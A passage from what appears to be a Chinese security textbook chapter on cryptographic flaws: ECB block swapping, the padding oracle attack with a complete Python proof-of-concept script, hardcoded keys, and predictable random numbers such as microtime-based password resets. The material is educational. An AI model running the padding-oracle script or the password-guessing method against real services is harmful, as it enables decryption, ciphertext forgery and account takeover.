但ECB模式最大的问题也是出在这种分组的独立性上：攻击者只需要对调任意分组的密文，在经过解密后，所得明文的顺序也是经过对调的。

ECB模式可以交换密文或明文的顺序

验证如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ecb_mode.py:

from Crypto.Cipher import DES3

import binascii

def hex_s(str):

re = ''

for i in range(0,len(str)):

re += "\\x"+binascii.b2a_hex(str[i])

return re

key = '1234567812345678'

plain = 'aaaabbbbaaaabbbb'

plain1 = 'xaaabbbbaaaabbbb'

plain2 = 'aaaabbbbxaaabbbb'

o = DES3.new(key, 1) # arg[1] == 1 means ECB

MODE

print "1 : "+hex_s(o.encrypt(plain))

print "2 : "+hex_s(o.encrypt(plain1))

print "3 : "+hex_s(o.encrypt(plain2))

分别对三段明文执行3-DES加密，所得结果如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[root@vps tmp]#python ecb_mode.py

1 : \xab\xf1\x3a\x33\x59\x35\x3b\x07\xab

\xf1\x3a\x33\x59\x35\x3b\x07

2 : \x32\xd1\xe9\x5a\x49\x0f\xfe\x80\xab

\xf1\x3a\x33\x59\x35\x3b\x07

3 : \xab\xf1\x3a\x33\x59\x35\x3b

\x07\x32\xd1\xe9\x5a\x49\x0f\xfe\x80

首先看看plain的值：

1
aaaabbbbaaaabbbb

3-DES每个分组为8个字节，因此明文会被分为两组：

1
2
3
aaaabbbb

aaaabbbb

plain对应的密文为：

1
2
3
\xab\xf1\x3a\x33\x59\x35\x3b\x07\xab\xf1\x3a

\x33\x59\x35\x3b\x07

将其密文分为两组：

1
2
3
\xab\xf1\x3a\x33\x59\x35\x3b\x07

\xab\xf1\x3a\x33\x59\x35\x3b\x07

可见同样的明文经过加密后得到了同样的密文。

再看看plain1，它与plain只在第一个字节上存在差异：

1
2
3
xaaabbbb

aaaabbbb

加密后的密文为：

1
2
3
\x32\xd1\xe9\x5a\x49\x0f\xfe\x80

\xab\xf1\x3a\x33\x59\x35\x3b\x07

对比plain加密后的密文，可以看到，仅仅block 1的密文不同，而block 2的密文是完全一样的。也就是说，block 1并未影响到block 2的结果。

这与链式加密模式（CBC）等是完全不同的，链式加密模式的分组前后之间会互相关联，一个字节的变化，会导致整个密文发生变化。这一特点也可以用于判断密文是否是用ECB模式加密的。

再看看plain2，按照分组来看，它是plain1对调了两个分组的结果：

1
2
3
aaaabbbb

xaaabbbb

plain2加密后的密文，其结果也正是plain1的密文对调分组密文的结果：

1
2
3
\xab\xf1\x3a\x33\x59\x35\x3b\x07

\x32\xd1\xe9\x5a\x49\x0f\xfe\x80

因此验证了之前的结论：对于ECB模式来说，改变分组密文的顺序，将改变解密后的明文顺序；替换某个分组密文，解密后该对应分组的明文也会被替换，而其他分组不受影响。

这是非常危险的，假设某在线支付应用，用户提交的密文对应的明文为：

1
member=abc||pay=10000.00

其中前16个字节为：

1
member=abc||pay=

这正好是一个或两个分组的长度，因此攻击者只需要使用“1.00”的密文，替换“10000.00”的密文，即可伪造支付金额从10000元至1元。在实际攻击中，攻击者可以通过事先购买一个1元物品，来获取1.00的密文，这并非一件很困难的事情。

ECB模式的缺陷，并非某个加密算法的问题，因此即使强壮如AES-256等算法，只要使用了ECB模式，也无法避免此问题。此外，ECB模式仍然会带有明文的统计特征，因此在分组较多的情况下，其私密性也会存在一些问题，如下：

ECB模式与CBC模式的对比效果

ECB模式并未完全混淆分组间的关系，因此当分组足够多时，仍然会暴露一些私密信息，而链式模式则避免了此问题。

当需要加密的明文多于一个分组的长度时，应该避免使用ECB模式，而使用其他更加安全的加密模式。

Padding Oracle Attack

在Eurocrypt 2002大会上，Vaudenay介绍了针对CBC模式的“Padding Oracle Attack”。它可以在不知道密钥的情况下，通过对padding bytes的尝试，还原明文，或者构造出任意明文的密文。

在2010年的BlackHat欧洲大会上，JulianoRizzo与Thai Duong介绍了“Padding Oracle”在实际中的攻击案例，并公布了ASP.NET存在的Padding Oracle问题。在2011年的Pwnie Re-wards中，ASP.NET的这个漏洞被评为“最具价值的服务器端漏洞”。

下面来看看Padding Oracle的原理，在此以DES为例。

分组加密算法在实现加/解密时，需要把消息进行分组（block），block的大小常见的有64bit、128bit、256bit等。以CBC模式为例，其实现加密的过程大致如下：

在这个过程中，如果最后一个分组的消息长度没有达到block的大小，则需要填充一些字节，被称为padding。以8个字节一个block为例：

比如明文是FIG，长度为3个字节，则剩下5个字节被填充了 0x05,0x05,0x05,0x05,0x05这5个相同的字节，每个字节的值等于需要填充的字节长度。如果明文长度刚好为8个字节，如：PLAN-TAIN，则后面需要填充8个字节的padding，其值为0x08。这种填充方法，遵循的是最常见的PKCS#5标准。

PKCS#5填充效果示意图

假设明文为：

1
BRIAN;12;2;

经过DES加密（CBC模式）后，其密文为：

1
2
3
7B216A634951170FF851D6CC68FC9537858795A28ED4A

AC6

密文采用了ASCII十六进制的表示方法，即两个字符表示一个字节的十六进制数。将密文进行分组，密文的前8位为初始化向量IV。

密文的长度为24个字节，可以整除8而不能整除16，因此可以很快判断出分组的长度应该为8个字节。

其加密过程如下：

初始化向量IV与明文XOR后，再经过运算得到的结果将作为新的IV，用于分组2类似的，解密过程如下：。

在解密完成后，如果最后的padding值不正确，解密程序往往会抛出异常（padding error）。而利用应用的错误回显，攻击者往往可以判断出padding是否正确。

所以Padding Oracle实际上是一种边信道攻击，攻击者只需要知道密文的解密结果是否正确即可，而这往往有许多途径。

比如在Web应用中，如果是padding不正确，则应用程序很可能会返回500的错误；如果padding正确，但解密出来的内容不正确，则可能会返回200的自定义错误。那么，以第一组分组为例，构造IV为8个0字节：

1
2
3
4
5
Request: http://sampleapp/home.jsp?

UID=0000000000000000F851D6CC68FC9537

Response: 500 - Internal Server Error

此时在解密时padding是不正确的。

正确的padding值只可能为：

1
2
3
4
5
6
7
8
9
1个字节的padding为 0x01

2个字节的padding为 0x02,0x02

3个字节的padding为 0x03,0x03,0x03

4个字节的padding为 0x04,0x04,0x04,0x04

……

因此慢慢调整IV的值，以希望解密后，最后一个字节的值为正确的padding byte，比如一个0x01。

1
2
3
4
5
Request: http://sampleapp/home.jsp?

UID=0000000000000001F851D6CC68FC9537

Response: 500 - Internal Server Error

逐步调整IV的值：

因为Intermediary Value是固定的（我们此时 不知道Intermediary Value的值是多少），因此从0x00到0xFF之间，只可能有一个值与Intermedi-ary Value的最后一个字节进行XOR后，结果是0x01。通过遍历这255个值，可以找出IV需要的最后一个字节：

1
2
3
4
5
Request: http://sampleapp/home.jsp?

UID=000000000000003CF851D6CC68FC9537

Response: 200 OK

通过XOR运算，可以马上推导出此Interme-diary Byte的值：

1
2
3
4
5
If [Intermediary Byte] ^ 0x3C == 0x01,

then [Intermediary Byte] == 0x3C ^ 0x01,

so [Intermediary Byte] == 0x3D

回过头看看加密过程：初始化向量IV与明文进行XOR运算得到了Intermediary Value，因此将刚才得到的Intermediary Byte：0x3D与真实IV的最后一个字节0x0F进行XOR运算，既能得到明文。

1
0x3D ^ 0x0F = 0x32

0x32是2的十六进制形式，正好是明文！

在正确匹配了padding “0x01”后，需要做的是继续推导出剩下的Intermediary Byte。根据padding的标准，当需要padding两个字节时，其值应该为0x02, 0x02。而我们已经知道了最后一个Intermediary Byte为0x3D，因此可以更新IV的第8个字节为0x3D ^ 0x02 = 0x3F，此时可以开始遍历IV的第7个字节（0x00～0xFF）。

通过遍历可以得出，IV的第7个字节为0x24，对应的Intermediary Byte为0x26。

依此类推，可以推导出所有的IntermediaryByte。

获得Intermediary Value后，通过与原来的IV进行XOR运算，即可得到明文。在这个过程中，仅仅用到了密文和IV，通过对padding的推导，即可还原出明文，而不需要知道密钥是什么。而IV并不需要保密，它往往是以明文形式发送的。

如何通过Padding Oracle使得密文能够解密为任意明文呢？实际上通过前面的解密过程可以看出，通过改变IV，可以控制整个解密过程。因此在已经获得了 Intermediary Value 的情况下，很快就可以通过XOR运算得到可以生成任意明文的IV。

而对于多个分组的密文来说，从最后一组密文开始往前推。以两个分组为例，第二个分组使用的IV是第一个分组的密文（cipher text），因此当推导出第二个分组使用的IV时，将此IV值当做第一个分组的密文，再次进行推导。

多分组的密文可以依此类推，由此即可找到解

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
redistribute it and/or modify

it under the terms of the GNU General

Public License as published by

the Free Software Foundation, either

version 3 of the License, or

(at your option) any later version.

This program is distributed in the hope

that it will be useful,

but WITHOUT ANY WARRANTY; without even

the implied warranty of

MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE. See the

GNU General Public License for more

details.

You should have received a copy of the

GNU General Public License

along with this program. If not, see

<http://www.gnu.org/licenses/>.

"""

import sys

# https://www.dlitz.net/software/pycrypto/

from Crypto.Cipher import *

import binascii

# the key for encrypt/decrypt

# we demo the poc here, so we need the key

# in real attack, you can trigger encrypt/

decrypt in a complete blackbox env

ENCKEY = 'abcdefgh'

def main(args):

print

print "=== Padding Oracle Attack POC(CBC-

MODE) ==="

print "=== by axis ==="

print "=== axis@ph4nt0m.org ==="

print "=== 2011.9 ==="

print

########################################

# you may config this part by yourself

iv = '12345678'

plain = 'aaaaaaaaaaaaaaaaX'

plain_want = "opaas"

# you can choose cipher: blowfish/AES/DES/

DES3/CAST/ARC2

cipher = "blowfish"

########################################

block_size = 8

if cipher.lower() == "aes":

block_size = 16

if len(iv) != block_size:

print "[-] IV must be

"+str(block_size)+" bytes long(the same as

block_size)!"

return False

print "=== Generate Target Ciphertext ==="

ciphertext = encrypt(plain, iv, cipher)

if not ciphertext:

print "[-] Encrypt Error!"

return False

print "[+] plaintext is: "+plain

print "[+] iv is: "+hex_s(iv)

print "[+] ciphertext is: "+

hex_s(ciphertext)

print

print "=== Start Padding Oracle Decrypt

==="

print

print "[+] Choosing Cipher:

"+cipher.upper()

guess = padding_oracle_decrypt(cipher,

ciphertext, iv, block_size)

if guess:

print "[+] Guess intermediary value is:

"+hex_s(guess["intermediary"])

print "[+] plaintext =

intermediary_value XOR original_IV"

print "[+] Guess plaintext is:

"+guess["plaintext"]

print

if plain_want:

print "=== Start Padding Oracle

Encrypt ==="

print "[+] plaintext want to encrypt

is: "+plain_want

print "[+] Choosing Cipher:

"+cipher.upper()

en = padding_oracle_encrypt(cipher,

ciphertext, plain_want, iv, block_size)

if en:

print "[+] Encrypt Success!"

print "[+] The ciphertext you want

is: "+hex_s(en[block_size:])

print "[+] IV is:

"+hex_s(en[:block_size])

print

print "=== Let's verify the custom

encrypt result ==="

print "[+] Decrypt of ciphertext '"+

hex_s(en[block_size:]) +"' is:"

de = decrypt(en[block_size:],

en[:block_size], cipher)

if de ==

add_PKCS5_padding(plain_want, block_size):

print de

print "[+] Bingo!"

else:

print "[-] It seems something

wrong happened!"

return False

return True

else:

return False

def padding_oracle_encrypt(cipher,

ciphertext, plaintext, iv, block_size=8):

# the last block

guess_cipher = ciphertext[0-block_size:]

plaintext = add_PKCS5_padding(plaintext,

block_size)

print "[*] After padding, plaintext

becomes to: "+hex_s(plaintext)

print

block = len(plaintext)

iv_nouse = iv # no use here, in fact we

only need intermediary

prev_cipher = ciphertext[0-block_size:] #

init with the last cipher block

while block > 0:

# we need the intermediary value

tmp =

padding_oracle_decrypt_block(cipher,

prev_cipher, iv_nouse, block_size,

debug=False)

# calculate the iv, the iv is the

ciphertext of the previous block

prev_cipher = xor_str( plaintext[block-

block_size:block], tmp["intermediary"] )

#save result

guess_cipher = prev_cipher + guess_cipher

block = block - block_size

return guess_cipher

def padding_oracle_decrypt(cipher,

ciphertext, iv, block_size=8, debug=True):

# split cipher into blocks; we will

manipulate ciphertext block by block

cipher_block =

split_cipher_block(ciphertext, block_size)

if cipher_block:

result = {}

result["intermediary"] = ''

result["plaintext"] = ''

counter = 0

for c in cipher_block:

if debug:

print "[*] Now try to decrypt block

"+str(counter)

print "[*] Block "+str(counter)+"'s

ciphertext is: "+hex_s(c)

print

# padding oracle to each block

guess =

padding_oracle_decrypt_block(cipher, c, iv,

block_size, debug)

if guess:

iv = c

result["intermediary"] +=

guess["intermediary"]

result["plaintext"] +=

guess["plaintext"]

if debug:

print

print "[+] Block "+str(counter)+"

decrypt!"

print "[+] intermediary value is:

"+hex_s(guess["intermediary"])

print "[+] The plaintext of block

"+str(counter)+" is: "+guess["plaintext"]

print

counter = counter+1

else:

print "[-] padding oracle decrypt

error!"

return False

return result

else:

print "[-] ciphertext's block_size is

incorrect!"

return False

def padding_oracle_decrypt_block(cipher,

ciphertext, iv, block_size=8, debug=True):

result = {}

plain = ''

intermediary = [] # list to save

intermediary

iv_p = [] # list to save the iv we found

for i in range(1, block_size+1):

iv_try = []

iv_p = change_iv(iv_p, intermediary, i)

# construct iv

# iv = \x00...(several 0 bytes) +

\x0e(the bruteforce byte) + \xdc...(the iv

bytes

we found)

for k in range(0, block_size-i):

iv_try.append("\x00")

# bruteforce iv byte for padding oracle

# 1 bytes to bruteforce, then append the

rest bytes

iv_try.append("\x00")

for b in range(0,256):

iv_tmp = iv_try

iv_tmp[len(iv_tmp)-1] = chr(b)

iv_tmp_s = ''.join("%s" % ch for ch in

iv_tmp)

# append the result of iv, we've just

calculate it, saved in iv_p

for p in range(0,len(iv_p)):

iv_tmp_s += iv_p[len(iv_p)-1-p]

# in real attack, you have to replace

this part to trigger the decrypt program

#print hex_s(iv_tmp_s) # for debug

plain = decrypt(ciphertext, iv_tmp_s,

cipher)

#print hex_s(plain) # for debug

# got it!

# in real attack, you have to replace

this part to the padding error judgement

if check_PKCS5_padding(plain, i):

if debug:

print "[*] Try IV:

"+hex_s(iv_tmp_s)

print "[*] Found padding oracle: "

+ hex_s(plain)

iv_p.append(chr(b))

intermediary.append(chr(b ^ i))

break

plain = ''

for ch in range(0, len(intermediary)):

plain +=

chr( ord(intermediary[len(intermediary)-1-

ch]) ^ ord(iv[ch]) )

result["plaintext"] = plain

result["intermediary"] = ''.join("%s" % ch

for ch in intermediary)[::-1]

return result

# save the iv bytes found by padding oracle

into a list

def change_iv(iv_p, intermediary, p):

for i in range(0, len(iv_p)):

iv_p[i] = chr( ord(intermediary[i]) ^ p)

return iv_p

def split_cipher_block(ciphertext,

block_size=8):

if len(ciphertext) % block_size != 0:

return False

result = []

length = 0

while length < len(ciphertext):

result.append(ciphertext[length:length

+block_size])

length += block_size

return result

def check_PKCS5_padding(plain, p):

if len(plain) % 8 != 0:

return False

# convert the string

plain = plain[::-1]

ch = 0

found = 0

while ch < p:

if plain[ch] == chr(p):

found += 1

ch += 1

if found == p:

return True

else:

return False

def add_PKCS5_padding(plaintext, block_size):

s = ''

if len(plaintext) % block_size == 0:

return plaintext

if len(plaintext) < block_size:

padding = block_size - len(plaintext)

else:

padding = block_size - (len(plaintext) %

block_size)

for i in range(0, padding):

plaintext += chr(padding)

return plaintext

def decrypt(ciphertext, iv, cipher):

# we only need the padding error itself,

not the key

# you may gain padding error info in other

ways

# in real attack, you may trigger decrypt

program

# a complete blackbox environment

key = ENCKEY

if cipher.lower() == "des":

o = DES.new(key, DES.MODE_CBC,iv)

elif cipher.lower() == "aes":

o = AES.new(key, AES.MODE_CBC,iv)

elif cipher.lower() == "des3":

o = DES3.new(key, DES3.MODE_CBC,iv)

elif cipher.lower() == "blowfish":

o = Blowfish.new(key,

Blowfish.MODE_CBC,iv)

elif cipher.lower() == "cast":

o = CAST.new(key, CAST.MODE_CBC,iv)

elif cipher.lower() == "arc2":

o = ARC2.new(key, ARC2.MODE_CBC,iv)

else:

return False

if len(iv) % 8 != 0:

return False

if len(ciphertext) % 8 != 0:

return False

return o.decrypt(ciphertext)

def encrypt(plaintext, iv, cipher):

key = ENCKEY

if cipher.lower() == "des":

if len(key) != 8:

print "[-] DES key must be 8 bytes

long!"

return False

o = DES.new(key, DES.MODE_CBC,iv)

elif cipher.lower() == "aes":

if len(key) != 16 and len(key) != 24 and

len(key) != 32:

print "[-] AES key must be 16/24/32

bytes long!"

return False

o = AES.new(key, AES.MODE_CBC,iv)

elif cipher.lower() == "des3":

if len(key) != 16:

print "[-] Triple DES key must be 16

bytes long!"

return False

o = DES3.new(key, DES3.MODE_CBC,iv)

elif cipher.lower() == "blowfish":

o = Blowfish.new(key,

Blowfish.MODE_CBC,iv)

elif cipher.lower() == "cast":

o = CAST.new(key, CAST.MODE_CBC,iv)

elif cipher.lower() == "arc2":

o = ARC2.new(key, ARC2.MODE_CBC,iv)

else:

return False

plaintext = add_PKCS5_padding(plaintext,

len(iv))

return o.encrypt(plaintext)

def xor_str(a,b):

if len(a) != len(b):

return False

c = ''

for i in range(0, len(a)):

c += chr( ord(a[i]) ^ ord(b[i]) )

return c

def hex_s(str):

re = ''

for i in range(0,len(str)):

re += "\\x"+binascii.b2a_hex(str[i])

return re

if __name__ == "__main__":

main(sys.argv)

Padding Oracle Attack的关键在于攻击者能够获知解密的结果是否符合padding。在实现和使用CBC模式的分组加密算法时，注意这一点即可。

密钥管理

在密码学里有个基本的原则：密码系统的安全性应该依赖于密钥的复杂性，而不应该依赖于算法的保密性。

在安全领域里，选择一个足够安全的加密算法不是困难的事情，难的是密钥管理。在一些实际的攻击案例中，直接攻击加密算法本身的案例很少，而因为密钥没有妥善管理导致的安全事件却很多。对于攻击者来说，他们不需要正面破解加密算法，如果能够通过一些方法获得密钥，则是件事半功倍的事情。

密钥管理中最常见的错误，就是将密钥硬编码在代码里。比如下面这段代码，就将Hash过的密码硬编码在代码中用于认证。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public boolean VerifyAdmin(String password) {

if

(password.equals("68af404b513073584c4b6f22

b6c63e6b")) {

System.out.println("Entering Diagnostic

Mode...");

return true;

}

System.out.println("Incorrect Password!");

return false;

同样的，将加密密钥、签名的salt等“key”硬编码在代码中，是非常不好的习惯。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
File saveFile = new File("Settings.set");

saveFile.delete();

FileOutputStream fout = new

FileOutputStream(saveFile);

//Encrypt the settings

//Generate a key

byte key[] = "My Encryption

Key98".getBytes();

DESKeySpec desKeySpec = new

DESKeySpec(key);

SecretKeyFactory keyFactory =

SecretKeyFactory.getInstance("DES");

SecretKey skey =

keyFactory.generateSecret(desKeySpec);

//Prepare the encrypter

Cipher ecipher =

Cipher.getInstance("DES");

ecipher.init(Cipher.ENCRYPT_MODE,

skey);

// Seal (encrypt) the object

SealedObject so = new

SealedObject(this, ecipher);

ObjectOutputStream o = new

ObjectOutputStream(fout);

o.writeObject(so);

o.close();

下面这段代码来自一个开源系统，它硬编码了私钥，而该私钥能被用于支付。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function toSubmit($payment){

$merId = $this-

>getConf($payment['M_OrderId'],

'member_id'); //账号

$pKey = $this-

>getConf($payment['M_OrderId'],

'PrivateKey');

$key =

$pKey==''?'afsvq2mqwc7j0i69uzvukqexrzd0jq6

h':$pKey;//私钥值

$ret_url = $this->callbackUrl;

$server_url = $this->serverCallbackUrl;

硬编码的密钥，在以下几种情况下可能被泄露。

一是代码被广泛传播。这种泄露途径常见于一些开源软件；有的商业软件并不开源，但编译后的二进制文件被用户下载，也可能被逆向工程反编译后，泄露硬编码的密钥。

二是软件开发团队的成员都能查看代码，从而获知硬编码的密钥。开发团队的成员如果流动性较大，则可能会由此泄露代码。

对于第一种情况，如果一定要将密钥硬编码在代码中，我们尚可通过Diffie-Hellman交换密钥体系，生成公私钥来完成密钥的分发；而对于第二种情况，则只能通过改善密钥管理来保护密钥。

对于Web应用来说，常见的做法是将密钥（包括密码）保存在配置文件或者数据库中，在使用时由程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限，同时也要确保运维或DBA中具有访问权限的人越少越好。

在应用发布到生产环境时，需要重新生成新的密钥或密码，以免与测试环境中使用的密钥相同。

当黑客已经入侵之后，密钥管理系统也难以保证密钥的安全性。比如攻击者获取了一个web-shell，那么攻击者也就具备了应用程序的一切权限。由于正常的应用程序也需要使用密钥，因此对密钥的控制不可能限制住webshell的“正常”请求。

密钥管理的主要目的，还是为了防止密钥从非正常的渠道泄露。定期更换密钥也是一种有效的做法。一个比较安全的密钥管理系统，可以将所有的密钥（包括一些敏感配置文件）都集中保存在一个服务器（集群）上，并通过Web Service的方式提供获取密钥的API。每个Web应用在需要使用密钥时，通过带认证信息的API请求密钥管理系统，动态获取密钥。Web应用不能把密钥写入本地文件中，只加载到内存，这样动态获取密钥最大程度地保护了密钥的私密性。密钥集中管理，降低了系统对于密钥的耦合性，也有利于定期更换密钥。

伪随机数问题

伪随机数（pseudo random number）问题——伪随机数不够随机，是程序开发中会出现的一个问题。一方面，大多数开发者对此方面的安全知识有所欠缺，很容易写出不安全的代码；另一方面，伪随机数问题的攻击方式在多数情况下都只存在于理论中，难以证明，因此在说服程序员修补代码时也显得有点理由不够充分。

但伪随机数问题是真实存在的、不可忽视的一个安全问题。伪随机数，是通过一些数学算法生成的随机数，并非真正的随机数。密码学上的安全伪随机数应该是不可压缩的。对应的“真随机数”，则是通过一些物理系统生成的随机数，比如电压的波动、硬盘磁头读/写时的寻道时间、空中电磁波的噪声等。

弱伪随机数的麻烦

2008年5月13日，Luciano Bello发现了De-bian上的OpenSSL包中存在弱伪随机数算法。

产生这个问题的原因，是由于编译时会产生警告（warning）信息，因此下面的代码被移除了。

1
2
3
45
MD_Update(&m,buf,j);

[ .. ]
MD_Update(&m,buf,j); /* purify complains */

这直接导致的后果是，在OpenSSL的伪随机数生成算法中，唯一的随机因子是pid。而在Linux系统中，pid的最大值也是32768。这是一个很小的范围，因此可以很快地遍历出所有的随机数。受到影响的有，从2006.9到2008.5.13的debian平台上生成的所有ssh key的个数是有限的，都是可以遍历出来的，这是一个非常严重的漏洞。同时受到影响的还有OpenSSL生成的key以及OpenVPN生成的key。

Debian随后公布了这些可以被遍历的key的名单。这次事件的影响很大，也让更多的开发者开始关注伪随机数的安全问题。

再看看下面这个例子。在Sun Java 6 Update11之前的createTempFile()中存在一个随机数可预测的问题，在短时间内生成的随机数实际上是顺序增长的。Chris Eng发现了这个问题。

1
2
3
java.io.File.createTempFile(deploymentName,

extension);

此函数用于生成临时目录，其实现代码如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private static File generateFile(String s,

String s1, File file)

throws IOException

{

if(counter == -1)

counter = (new

Random()).nextInt() & 0xffff;

counter++;

return new File(file, (new

StringBuilder()).append(s).append(Integer.toS

tring(counter)).append(s1).toString());

}

public static File createTempFile(String s,

String s1, File file)

throws IOException

{

...

File file1;

do

file1 = generateFile(s, s2, file);

while(!checkAndCreate(file1.getPath(),

securitymanager));

return file1;

}

在Linux上的测试结果如下：

文件名按照顺序生成

文件名按照顺序生成（续）

可以看到文件名是顺序增长的。

在Windows上，本质没有发生变化：

文件名按照顺序生成

完整测试代码如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.io.*;

public class getTemp {

/**

* @param args

*/

public static void main(String[] args) {

// TODO Auto-generated method stub

File f = null;

String extension = ".tmp";

try {

//for (int i=0; i<10; i++){

f =

File.createTempFile("temp", extension);

System.out.println(f.getPath());

//}

}

catch (IOException e) {

}

}

}

这个函数经常被用于生成临时文件。如果临时文件可以被预测，那么根据业务逻辑的不同，将导致各种不可预估的结果，严重的将导致系统被破坏，或者为攻击者打开大门。

在官方解决方案中，一方面增大了随机数的空间，另一方面修补了顺序增长的问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private static File generateFile(String s,

String s1, File file)

throws IOException

{

long l =

LazyInitialization.random.nextLong();

if(l == 0x8000000000000000L)

l = 0L;

else

l = Math.abs(l);

return new File(file, (new

StringBuilder()).append(s).append(Long.toStri

ng(l)).append(s1).toString());

}

在Web应用中，使用伪随机数的地方非常广泛。密码、key、SessionID、token等许多非常关键的“secret”往往都是通过伪随机数算法生成的。

时间真的随机吗

很多伪随机数算法与系统时间有关，而有的程序员甚至就直接使用系统时间代替随机数的生成。这样生成的随机数，是根据时间顺序增长的，可以从时间上进行预测，从而存在安全隐患。

比如下面这段代码，其逻辑是用户取回密码时，会由系统随机生成一个新的密码，并发送到用户邮箱。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function sendPSW(){

……

$messenger = &$this->system-

>loadModel('system/messenger');echo

microtime()."<br/>";

$passwd =

substr(md5(print_r(microtime(),true)),0,6)

;

……

这个新生成的$passwd，是直接调用了micro-time()后，取其MD5值的前6位。由于MD5算法是单向的哈希函数，因此只需要遍历microtime()的值，再按照同样的算法，即可猜解出$passwd的值。

PHP中的microtime()由两个值合并而成，一个是微秒数，一个是系统当前秒数。因此只需要获取到服务器的系统时间，就可以以此时间为基数，按次序递增，即可猜解出新生成的密码。因此这个算法是存在非常严重的设计缺陷的，程序员预想的随机生成密码，其实并未随机。

在这个案例中，生成密码的前一行，直接调用了microtime()并返回在当前页面上，这又使得攻击者以非常低的成本获得了服务器时间；且两次调用microtime()的时间间隔非常短，因此必然是在同一秒内，攻击者只需要猜解微秒数即可。最终成功的实施攻击结果如下：

成功预测出密码值

所以，在开发程序时，要切记：不要把时间函数当成随机数使用。

破解伪随机数算法的种子

在PHP中，常用的随机数生成算法有rand()、mt_rand()。这两个函数的最大范围分别为：

1
2
3
4
5
6
7
8
9
<?php

//on windows

print getrandmax();// 32767

print mt_getrandmax(); //2147483647

?>

可见，rand()的范围其实是非常小的，如果使用rand()生成的随机数用于一些重要的地方，则会非常危险。

其实PHP中的mt_rand()也不是很安全，Ste-fan Esser在他著名的paper：“mt_srand and notso random numbers”中提出了PHP的伪随机函数mt_rand()在实现上的一些缺陷。

伪随机数是由数学算法实现的，它真正随机的地方在于“种子（seed）”。种子一旦确定后，再通过同一伪随机数算法计算出来的随机数，其值是固定的，多次计算所得值的顺序也是固定的。

在PHP 4.2.0之前的版本中，是需要通过srand()或mt_srand()给rand()、mt_rand()播种的：在PHP 4.2.0之后的版本中不再需要事先通过srand()、mt_srand()播种。比如直接调用mt_rand()，系统会自动播种。但为了和以前版本兼容，PHP应用代码里经常会这样写：

1
2
3
4
5
6
7
mt_srand(time());

mt_srand((double) microtime() * 100000);

mt_srand((double) microtime() * 1000000);

